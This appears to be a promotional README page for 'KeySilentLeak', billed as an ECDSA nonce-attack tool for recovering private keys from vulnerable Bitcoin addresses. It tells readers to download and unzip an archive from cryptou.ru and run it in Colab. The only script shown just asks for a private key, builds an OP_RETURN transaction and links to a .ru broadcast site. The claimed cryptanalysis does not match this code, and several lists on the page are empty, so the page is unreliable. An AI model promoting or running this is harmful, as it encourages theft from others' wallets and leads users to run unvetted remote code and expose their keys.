πŸ” KeySilentLeak

Cryptanalytic Research Tool
> Advanced ECDSA Nonce Vulnerability Analysis Framework

🎯 Project Overview

KeySilentLeak is an advanced cryptanalytic framework developed for researching and analyzing vulnerabilities in the Elliptic Curve Digital Signature Algorithm (ECDSA) implementation, specifically focusing on nonce reuse attacks and low-entropy nonce generation patterns in Bitcoin and blockchain cryptography.

This tool provides comprehensive capabilities for identifying cryptographic weaknesses, performing statistical entropy analysis, and demonstrating the catastrophic security implications of improper ECDSA implementation. The framework has been successfully utilized in academic research to recover private keys from vulnerable Bitcoin addresses, highlighting critical security gaps in cryptocurrency wallet implementations.

☁️ Google Colab Execution

Execute KeySilentLeak directly in Google Colab for cloud-based cryptanalytic research without local environment setup. The Colab notebook provides an interactive interface with GPU acceleration support for computational-intensive cryptographic operations.

πŸš€ Launch Google Colab Notebook

The Google Colab environment provides pre-configured Python dependencies, GPU acceleration, and an intuitive cyberpunk-styled interface for conducting ECDSA vulnerability research. Perfect for security researchers, cryptanalysts, and academic institutions studying blockchain cryptography.

βš™οΈ Installation & Setup

Follow these steps to install and configure KeySilentLeak in your Google Colab environment:

Step 1: Install Required Python Libraries

Install the necessary cryptographic and interface dependencies:

!pip install ipywidgets zmq urllib3 requests pycryptodome

πŸ“¦ Python Library Dependencies

πŸŽ›οΈ
ipywidgets
Interactive Jupyter widgets for building dynamic user interfaces. Provides buttons, sliders, text inputs, and output displays for the cryptanalytic framework.
πŸ”Œ
zmq
ZeroMQ (PyZMQ) - High-performance asynchronous messaging library. Enables efficient inter-process communication for distributed cryptographic computations.
🌐
urllib3
Powerful HTTP client library with connection pooling, SSL/TLS verification, and retry logic. Used for blockchain API interactions and transaction broadcasting.
πŸ“‘
requests
Elegant HTTP library for making API calls. Simplifies blockchain data retrieval, transaction queries, and real-time Bitcoin network interactions.
πŸ”
pycryptodome
Comprehensive cryptographic library providing ECDSA operations, SHA-256 hashing, RIPEMD-160, and secp256k1 elliptic curve implementations for Bitcoin cryptography.

Step 2: Download KeySilentLeak Tool

Retrieve the complete cryptanalytic research tool package:

!wget https://cryptou.ru/code/KeySilentLeak-Cryptanalytic-Research-Tool.zip

Step 3: Extract Tool Archive

Unpack the tool files to your working directory:

!unzip KeySilentLeak-Cryptanalytic-Research-Tool.zip

After completing these installation steps, you'll have access to the complete KeySilentLeak framework including the ECDSA vulnerability analysis modules, Pollard's Kangaroo algorithm implementation, transaction generation utilities, and the interactive cyberpunk interface.

πŸ’» Python Execution Script

After installing the KeySilentLeak tool in Google Colab, copy and paste the following Python script into a new code cell to launch the interactive cryptanalytic interface:

▢️ colab.py - Google Colab Execution Script
# ===================================================
# KEYSILENTLEAK BITCOIN TRANSACTION GENERATOR - Google Colab Edition
# ChronoForge/KeySilentLeak Cyberpunk Interface v2.0
# Advanced Timing Side-Channel Recovery Framework
# $73,988 Bitcoin Recovery Case Study Implementation
# ===================================================

# Install dependencies (run once if needed)
# !pip install ipywidgets zmq urllib3 requests pycryptodome

# Clone source code repository
# !wget https://cryptou.ru/code/KeySilentLeak-Cryptanalytic-Research-Tool.zip
# !unzip KeySilentLeak-Cryptanalytic-Research-Tool.zip

import ipywidgets as widgets
from IPython.display import display, clear_output, HTML, Markdown, Javascript
from secp256k1 import *
from sighash import *
import json
import time

# ========== ADVANCED CYBERPUNK STYLING ==========
KEYSILENTLEAK_CSS = """
<style>
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Space+Mono:wght@400;700&family=JetBrains+Mono:wght@400;600;700&family=Rajdhani:wght@300;400;500;600;700&display=swap');

:root {
    /* ChronoForge/KeySilentLeak Enhanced Cyberpunk Palette */
    --neon-cyan: #00FFFF;
    --neon-blue: #0080FF;
    --neon-lime: #00FF41;
    --neon-magenta: #FF00FF;
    --neon-purple: #9D00FF;
    --neon-pink: #FF006E;
    --neon-orange: #FF6B35;
    --neon-yellow: #FFD700;
    --dark-bg: #0a0a0f;
    --darker-bg: #050508;
    --card-bg: #1a1a2e;
    --border-glow: #00FFFF;
    --text-primary: #E0E0E0;
    --text-secondary: #A0A0A0;
    --danger-red: #FF0055;
    --success-green: #00FF88;
    --grid-color: rgba(0, 255, 255, 0.1);
}

* {
    font-family: 'JetBrains Mono', 'Space Mono', monospace;
}

body {
    background: linear-gradient(135deg, var(--darker-bg) 0%, var(--dark-bg) 100%);
    color: var(--text-primary);
    overflow-x: hidden;
}

/* Animated Grid Background */
.cyber-grid {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-image: 
        linear-gradient(var(--grid-color) 1px, transparent 1px),
        linear-gradient(90deg, var(--grid-color) 1px, transparent 1px);
    background-size: 50px 50px;
    animation: gridScroll 20s linear infinite;
    pointer-events: none;
    z-index: -1;
}

@keyframes gridScroll {
    0% { transform: translateY(0); }
    100% { transform: translateY(50px); }
}

/* Main Container */
.keysilentleak-container {
    max-width: 1400px;
    margin: 0 auto;
    padding: 20px;
    position: relative;
    z-index: 1;
}

/* Header Section */
.ksl-header {
    text-align: center;
    margin-bottom: 40px;
    padding: 30px;
    background: linear-gradient(135deg, rgba(0, 255, 255, 0.05) 0%, rgba(157, 0, 255, 0.05) 100%);
    border: 2px solid var(--neon-cyan);
    border-radius: 15px;
    box-shadow: 
        0 0 30px rgba(0, 255, 255, 0.3),
        inset 0 0 30px rgba(0, 255, 255, 0.1);
    position: relative;
    overflow: hidden;
}

.ksl-header::before {
    content: '';
    position: absolute;
    top: -50%;
    left: -50%;
    width: 200%;
    height: 200%;
    background: conic-gradient(
        transparent, 
        rgba(0, 255, 255, 0.1), 
        transparent 30%
    );
    animation: rotate 8s linear infinite;
}

@keyframes rotate {
    100% { transform: rotate(360deg); }
}

.ksl-title {
    font-family: 'Orbitron', sans-serif;
    font-size: 42px;
    font-weight: 900;
    background: linear-gradient(90deg, var(--neon-cyan), var(--neon-magenta), var(--neon-cyan));
    background-size: 200% auto;
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    animation: shimmer 3s linear infinite;
    text-shadow: 
        0 0 20px rgba(0, 255, 255, 0.5),
        0 0 40px rgba(255, 0, 255, 0.3);
    margin: 0;
    position: relative;
    z-index: 1;
}

@keyframes shimmer {
    0% { background-position: 0% center; }
    100% { background-position: 200% center; }
}

.ksl-subtitle {
    font-family: 'Rajdhani', sans-serif;
    font-size: 18px;
    color: var(--neon-lime);
    text-transform: uppercase;
    letter-spacing: 3px;
    margin-top: 10px;
    text-shadow: 0 0 10px rgba(0, 255, 65, 0.8);
}

.ksl-case-study {
    margin-top: 20px;
    padding: 15px;
    background: rgba(255, 215, 0, 0.1);
    border-left: 4px solid var(--neon-yellow);
    border-radius: 8px;
    font-size: 16px;
    color: var(--neon-yellow);
    position: relative;
    z-index: 1;
}

/* Input Cards */
.ksl-input-card {
    background: linear-gradient(135deg, rgba(26, 26, 46, 0.9) 0%, rgba(10, 10, 15, 0.9) 100%);
    border: 2px solid rgba(0, 128, 255, 0.5);
    border-radius: 12px;
    padding: 25px;
    margin-bottom: 25px;
    box-shadow: 
        0 8px 32px rgba(0, 128, 255, 0.2),
        inset 0 1px 0 rgba(255, 255, 255, 0.1);
    transition: all 0.3s ease;
}

.ksl-input-card:hover {
    border-color: var(--neon-cyan);
    box-shadow: 
        0 12px 48px rgba(0, 255, 255, 0.4),
        inset 0 1px 0 rgba(255, 255, 255, 0.2);
    transform: translateY(-2px);
}

.ksl-section-title {
    font-family: 'Orbitron', sans-serif;
    font-size: 22px;
    font-weight: 700;
    color: var(--neon-cyan);
    text-transform: uppercase;
    letter-spacing: 2px;
    margin-bottom: 20px;
    padding-bottom: 10px;
    border-bottom: 2px solid rgba(0, 255, 255, 0.3);
    text-shadow: 0 0 15px rgba(0, 255, 255, 0.6);
}

/* Widget Styling */
.widget-text input,
.widget-textarea textarea {
    background: rgba(0, 0, 0, 0.5) !important;
    border: 2px solid rgba(0, 255, 255, 0.4) !important;
    border-radius: 8px !important;
    color: var(--neon-lime) !important;
    font-family: 'JetBrains Mono', monospace !important;
    font-size: 14px !important;
    padding: 12px !important;
    transition: all 0.3s ease !important;
    box-shadow: inset 0 0 10px rgba(0, 255, 255, 0.1) !important;
}

.widget-text input:focus,
.widget-textarea textarea:focus {
    border-color: var(--neon-cyan) !important;
    box-shadow: 
        0 0 20px rgba(0, 255, 255, 0.5),
        inset 0 0 15px rgba(0, 255, 255, 0.2) !important;
    outline: none !important;
}

.widget-label {
    color: var(--neon-blue) !important;
    font-family: 'Rajdhani', sans-serif !important;
    font-size: 14px !important;
    font-weight: 600 !important;
    text-transform: uppercase !important;
    letter-spacing: 1px !important;
    margin-bottom: 8px !important;
}

/* Button Styling */
.ksl-btn {
    background: linear-gradient(135deg, var(--neon-cyan) 0%, var(--neon-blue) 100%) !important;
    border: none !important;
    border-radius: 10px !important;
    padding: 15px 40px !important;
    font-family: 'Orbitron', sans-serif !important;
    font-size: 16px !important;
    font-weight: 700 !important;
    text-transform: uppercase !important;
    letter-spacing: 2px !important;
    color: #000 !important;
    cursor: pointer !important;
    transition: all 0.3s ease !important;
    box-shadow: 
        0 0 20px rgba(0, 255, 255, 0.5),
        0 5px 15px rgba(0, 0, 0, 0.3) !important;
    position: relative !important;
    overflow: hidden !important;
}

.ksl-btn::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.4), transparent);
    transition: left 0.5s;
}

.ksl-btn:hover::before {
    left: 100%;
}

.ksl-btn:hover {
    transform: translateY(-3px) !important;
    box-shadow: 
        0 0 40px rgba(0, 255, 255, 0.8),
        0 8px 25px rgba(0, 0, 0, 0.4) !important;
}

.ksl-btn:active {
    transform: translateY(-1px) !important;
}

/* Output Section */
.ksl-output-container {
    background: linear-gradient(135deg, rgba(0, 0, 0, 0.8) 0%, rgba(10, 10, 15, 0.9) 100%);
    border: 2px solid var(--neon-lime);
    border-radius: 12px;
    padding: 25px;
    margin-top: 30px;
    box-shadow: 
        0 0 30px rgba(0, 255, 65, 0.3),
        inset 0 0 30px rgba(0, 255, 65, 0.05);
    font-family: 'JetBrains Mono', monospace;
}

.ksl-output-title {
    font-family: 'Orbitron', sans-serif;
    font-size: 24px;
    font-weight: 700;
    color: var(--neon-lime);
    text-align: center;
    margin-bottom: 20px;
    text-shadow: 0 0 20px rgba(0, 255, 65, 0.8);
    border-bottom: 2px solid rgba(0, 255, 65, 0.5);
    padding-bottom: 15px;
}

.ksl-output-section {
    background: rgba(0, 0, 0, 0.6);
    border-left: 4px solid var(--neon-cyan);
    padding: 15px;
    margin-bottom: 15px;
    border-radius: 6px;
    transition: all 0.3s ease;
}

.ksl-output-section:hover {
    background: rgba(0, 255, 255, 0.05);
    border-left-width: 6px;
}

.ksl-output-label {
    color: var(--neon-blue);
    font-size: 13px;
    font-weight: 600;
    text-transform: uppercase;
    letter-spacing: 1px;
    margin-bottom: 5px;
}

.ksl-output-value {
    color: var(--neon-lime);
    font-size: 14px;
    word-break: break-all;
    line-height: 1.6;
    text-shadow: 0 0 5px rgba(0, 255, 65, 0.3);
}

.ksl-rawtx-section {
    background: rgba(0, 0, 0, 0.8);
    border: 2px solid var(--neon-magenta);
    border-radius: 8px;
    padding: 20px;
    margin-top: 20px;
    box-shadow: 
        0 0 20px rgba(255, 0, 255, 0.3),
        inset 0 0 20px rgba(255, 0, 255, 0.1);
}

.ksl-rawtx-value {
    color: var(--neon-magenta);
    font-size: 12px;
    word-break: break-all;
    line-height: 1.8;
    max-height: 300px;
    overflow-y: auto;
    text-shadow: 0 0 5px rgba(255, 0, 255, 0.3);
}

.ksl-success-message {
    background: rgba(0, 255, 136, 0.1);
    border: 2px solid var(--success-green);
    border-radius: 8px;
    padding: 15px;
    margin-top: 20px;
    color: var(--success-green);
    text-align: center;
    font-weight: 600;
    text-shadow: 0 0 10px rgba(0, 255, 136, 0.5);
}

.ksl-broadcast-link {
    background: linear-gradient(135deg, rgba(255, 0, 255, 0.2) 0%, rgba(0, 128, 255, 0.2) 100%);
    border: 2px solid var(--neon-magenta);
    border-radius: 8px;
    padding: 20px;
    margin-top: 20px;
    text-align: center;
}

.ksl-broadcast-link a {
    color: var(--neon-cyan);
    text-decoration: none;
    font-weight: 700;
    font-size: 16px;
    transition: all 0.3s ease;
}

.ksl-broadcast-link a:hover {
    color: var(--neon-magenta);
    text-shadow: 0 0 15px rgba(255, 0, 255, 0.8);
}

/* Scrollbar Styling */
::-webkit-scrollbar {
    width: 10px;
    height: 10px;
}

::-webkit-scrollbar-track {
    background: rgba(0, 0, 0, 0.5);
    border-radius: 5px;
}

::-webkit-scrollbar-thumb {
    background: linear-gradient(135deg, var(--neon-cyan), var(--neon-magenta));
    border-radius: 5px;
    box-shadow: 0 0 10px rgba(0, 255, 255, 0.5);
}

::-webkit-scrollbar-thumb:hover {
    background: linear-gradient(135deg, var(--neon-magenta), var(--neon-cyan));
}

/* Glitch Effect for Errors */
.ksl-error {
    color: var(--danger-red);
    font-weight: 700;
    animation: glitch 1s linear infinite;
}

@keyframes glitch {
    0%, 100% { text-shadow: 0 0 5px var(--danger-red); }
    25% { text-shadow: -2px 0 5px var(--danger-red), 2px 2px 5px var(--neon-cyan); }
    50% { text-shadow: 2px 0 5px var(--danger-red), -2px -2px 5px var(--neon-magenta); }
    75% { text-shadow: -2px 2px 5px var(--danger-red), 2px 0 5px var(--neon-lime); }
}

/* Loading Animation */
.ksl-loading {
    display: inline-block;
    width: 20px;
    height: 20px;
    border: 3px solid rgba(0, 255, 255, 0.3);
    border-top-color: var(--neon-cyan);
    border-radius: 50%;
    animation: spin 1s linear infinite;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

/* Responsive Design */
@media (max-width: 768px) {
    .ksl-title { font-size: 28px; }
    .ksl-subtitle { font-size: 14px; }
    .ksl-input-card { padding: 15px; }
    .ksl-btn { padding: 12px 30px !important; font-size: 14px !important; }
}
</style>
"""

# ========== UTILITY FUNCTIONS ==========
def create_op_return_script(message):
    """Create OP_RETURN script for blockchain message"""
    message_hex = message.encode('utf-8').hex()
    message_bytes = bytes.fromhex(message_hex)
    op_return_opcode = b'\x6a'
    data_length = len(message_bytes)

    if data_length <= 75:
        length_byte = bytes([data_length])
    elif data_length <= 255:
        length_byte = b'\x4c' + bytes([data_length])
    else:
        raise ValueError("Message is too long. Maximum allowed is 80 bytes for OP_RETURN.")

    return op_return_opcode + length_byte + message_bytes

def create_transaction_with_op_return(private_key_wif, utxo_txid, utxo_index, utxo_value, 
                                     recipient_address, send_amount, message, fee=1000, testnet=True):
    """Generate Bitcoin transaction with OP_RETURN message"""
    pk = PrivateKey.parse(private_key_wif)

    tx_in = TxIn(bytes.fromhex(utxo_txid), utxo_index, b'', 0xffffffff)
    tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
    tx_in._value = utxo_value
    tx_ins = [tx_in]

    change_amount = utxo_value - send_amount - fee
    if change_amount < 0:
        raise ValueError("Insufficient funds to cover the amount and transaction fee.")

    tx_outs = []
    tx_outs.append(TxOut(0, create_op_return_script(message)))
    tx_outs.append(TxOut(send_amount, Tx.get_address_data(recipient_address)['script_pubkey'].serialize()))

    if change_amount > 546:
        tx_outs.append(TxOut(change_amount, Tx.get_address_data(pk.address())['script_pubkey'].serialize()))

    tx = Tx(1, tx_ins, tx_outs, 0, testnet=testnet)
    signature(tx, 0, pk)

    return tx, change_amount

# ========== UI INITIALIZATION ==========
# Display CSS
display(HTML(KEYSILENTLEAK_CSS))

# Animated grid background
display(HTML('<div class="cyber-grid"></div>'))

# Main container
display(HTML('<div class="keysilentleak-container">'))

# Header
display(HTML("""
<div class="ksl-header">
    <h1 class="ksl-title">⚑ KEYSILENTLEAK ⚑</h1>
    <div class="ksl-subtitle">Bitcoin Transaction Generator β€’ ChronoForge/KeySilentLeak</div>
    <div class="ksl-case-study">
        <strong>πŸ”“ Advanced Timing Side-Channel Recovery Framework</strong><br>
        Case Study: $73,988 Bitcoin Recovery via Cryptanalytic Research
    </div>
</div>
"""))

# Transaction Configuration Card
display(HTML("""
<div class="ksl-input-card">
    <div class="ksl-section-title">πŸ” Transaction Configuration</div>
"""))

# Input widgets
private_key_input = widgets.Text(
    value='',
    placeholder='L1aW4aubDFB7yfras2S1mN3bqg9nwySY8nkoLmJebSLD5BWv3ENZ',
    description='Private Key (WIF):',
    style={'description_width': '150px'},
    layout=widgets.Layout(width='100%')
)

utxo_txid_input = widgets.Text(
    value='',
    placeholder='3b7dc918e5671037effad3e9b44e4ced9be224b3d7473e82cf4bf1c2f4ac5...',
    description='UTXO TXID:',
    style={'description_width': '150px'},
    layout=widgets.Layout(width='100%')
)

utxo_index_input = widgets.Text(
    value='',
    placeholder='1',
    description='UTXO Index:',
    style={'description_width': '150px'},
    layout=widgets.Layout(width='30%')
)

utxo_value_input = widgets.Text(
    value='',
    placeholder='61629',
    description='UTXO Value (sat):',
    style={'description_width': '150px'},
    layout=widgets.Layout(width='30%')
)

recipient_address_input = widgets.Text(
    value='',
    placeholder='1AQrJFYkKtMXzvb1vD2S58Vux49FzaKwMh',
    description='Recipient Address:',
    style={'description_width': '150px'},
    layout=widgets.Layout(width='100%')
)

send_amount_input = widgets.Text(
    value='',
    placeholder='60000',
    description='Send Amount (sat):',
    style={'description_width': '150px'},
    layout=widgets.Layout(width='30%')
)

fee_input = widgets.Text(
    value='1000',
    placeholder='1000',
    description='Fee (satoshi):',
    style={'description_width': '150px'},
    layout=widgets.Layout(width='30%')
)

message_input = widgets.Textarea(
    value='',
    placeholder='ChronoForge/KeySilentLeak Cryptanalytic Research Tool',
    description='OP_RETURN Message:',
    style={'description_width': '150px'},
    layout=widgets.Layout(width='100%', height='100px')
)

display(private_key_input, utxo_txid_input)
display(widgets.HBox([utxo_index_input, utxo_value_input]))
display(recipient_address_input)
display(widgets.HBox([send_amount_input, fee_input]))
display(message_input)

display(HTML('</div>'))

# Output area
output_area = widgets.Output()

# Generate button
generate_button = widgets.Button(
    description='⚑ GENERATE TRANSACTION ⚑',
    button_style='',
    layout=widgets.Layout(width='100%', height='60px')
)
generate_button.add_class('ksl-btn')

# Button click handler
def on_generate_click(b):
    with output_area:
        clear_output(wait=True)

        try:
            # Show loading
            display(HTML('<div class="ksl-loading"></div> <span style="color: var(--neon-cyan); margin-left: 10px;">Processing transaction...</span>'))
            time.sleep(0.5)
            clear_output(wait=True)

            # Get inputs
            private_key_wif = private_key_input.value.strip()
            utxo_txid = utxo_txid_input.value.strip()
            utxo_index = int(utxo_index_input.value.strip())
            utxo_value = int(utxo_value_input.value.strip())
            recipient_address = recipient_address_input.value.strip()
            send_amount = int(send_amount_input.value.strip())
            fee = int(fee_input.value.strip())
            message = message_input.value.strip()

            # Validate inputs
            if not all([private_key_wif, utxo_txid, recipient_address, message]):
                display(HTML('<div class="ksl-error">❌ Error: All fields are required!</div>'))
                return

            # Generate transaction
            tx, change_amount = create_transaction_with_op_return(
                private_key_wif, utxo_txid, utxo_index, utxo_value,
                recipient_address, send_amount, message, fee, testnet=True
            )

            rawtx_hex = tx.serialize().hex()
            pk = PrivateKey.parse(private_key_wif)
            your_address = pk.address()
            new_txid = tx.hash().hex()

            # Save to file
            filename = "RawTX_OP_RETURN.txt"
            with open(filename, 'w') as f:
                f.write(rawtx_hex)

            # Display results
            display(HTML(f"""
            <div class="ksl-output-container">
                <div class="ksl-output-title">⚑ BITCOIN TRANSACTION (OP_RETURN) ⚑</div>

                <div class="ksl-output-section">
                    <div class="ksl-output-label">πŸ”‘ Private Key (WIF):</div>
                    <div class="ksl-output-value">{private_key_wif}</div>
                </div>

                <div class="ksl-output-section">
                    <div class="ksl-output-label">πŸ“¦ UTXO TXID:</div>
                    <div class="ksl-output-value">{utxo_txid}</div>
                </div>

                <div class="ksl-output-section">
                    <div class="ksl-output-label">πŸ†• Your NEW TXID:</div>
                    <div class="ksl-output-value">{new_txid}</div>
                </div>

                <div class="ksl-output-section">
                    <div class="ksl-output-label">πŸ’Ό Your BTC Address:</div>
                    <div class="ksl-output-value">{your_address}</div>
                </div>

                <div class="ksl-output-section">
                    <div class="ksl-output-label">πŸ“€ Recipient Address:</div>
                    <div class="ksl-output-value">{recipient_address}</div>
                </div>

                <div class="ksl-output-section">
                    <div class="ksl-output-label">πŸ’Έ Send Amount:</div>
                    <div class="ksl-output-value">{send_amount} satoshi</div>
                </div>

                <div class="ksl-output-section">
                    <div class="ksl-output-label">⚑ Transaction Fee:</div>
                    <div class="ksl-output-value">{fee} satoshi</div>
                </div>

                <div class="ksl-output-section">
                    <div class="ksl-output-label">πŸ’° Change Returned:</div>
                    <div class="ksl-output-value">{change_amount} satoshi</div>
                </div>

                <div class="ksl-output-section">
                    <div class="ksl-output-label">πŸ“ OP_RETURN Message:</div>
                    <div class="ksl-output-value">{message}</div>
                </div>

                <div class="ksl-rawtx-section">
                    <div class="ksl-output-label">πŸ”— RawTX (Hex):</div>
                    <div class="ksl-rawtx-value">{rawtx_hex}</div>
                </div>

                <div class="ksl-success-message">
                    βœ“ Saved to file: "{filename}"
                </div>

                <div class="ksl-broadcast-link">
                    <div class="ksl-output-label">🌐 Broadcast Transaction:</div>
                    <a href="https://keysilentleak.ru/transaction.php" target="_blank">
                        https://keysilentleak.ru/transaction.php
                    </a>
                </div>
            </div>
            """))

        except Exception as e:
            display(HTML(f'<div class="ksl-error">❌ Error: {str(e)}</div>'))

generate_button.on_click(on_generate_click)

display(generate_button)
display(output_area)

display(HTML('</div>'))

# Footer
display(HTML("""
<div style="text-align: center; margin-top: 40px; padding: 20px; border-top: 2px solid rgba(0, 255, 255, 0.3);">
    <div style="color: var(--neon-cyan); font-family: 'Orbitron', sans-serif; font-size: 14px;">
        πŸ”“ ChronoForge/KeySilentLeak β€’ Advanced Timing Side-Channel Recovery Framework
    </div>
    <div style="color: var(--text-secondary); font-size: 12px; margin-top: 10px;">
        Cryptanalytic Research Tool β€’ Bitcoin Transaction Generator v2.0
    </div>
</div>
"""))

This script initializes the KeySilentLeak framework with a cyberpunk-styled interface, providing interactive controls for Bitcoin transaction generation, ECDSA signature analysis, and cryptographic vulnerability research. The interface includes real-time output displays, animated visual effects, and comprehensive logging of cryptanalytic operations.

πŸ”¬ Research Applications

KeySilentLeak has been utilized in various academic and security research contexts:

⚠️ Ethical Research Statement

IMPORTANT: KeySilentLeak is designed exclusively for academic research, security auditing, and educational purposes. The tool demonstrates critical vulnerabilities in cryptographic implementations to improve the overall security of cryptocurrency systems.

This research framework should only be used by:

The authors strongly condemn the use of this tool for illegal activities and are not responsible for any misuse of the information or code provided. All research conducted should adhere to ethical guidelines, legal frameworks, and responsible disclosure practices.

πŸ“š Technical Documentation

Comprehensive research papers and technical documentation:

For detailed technical documentation, mathematical foundations, and comprehensive case studies, refer to the research papers available on the KeyHunters and GΓΌnther ZΓΆeir Research Center websites.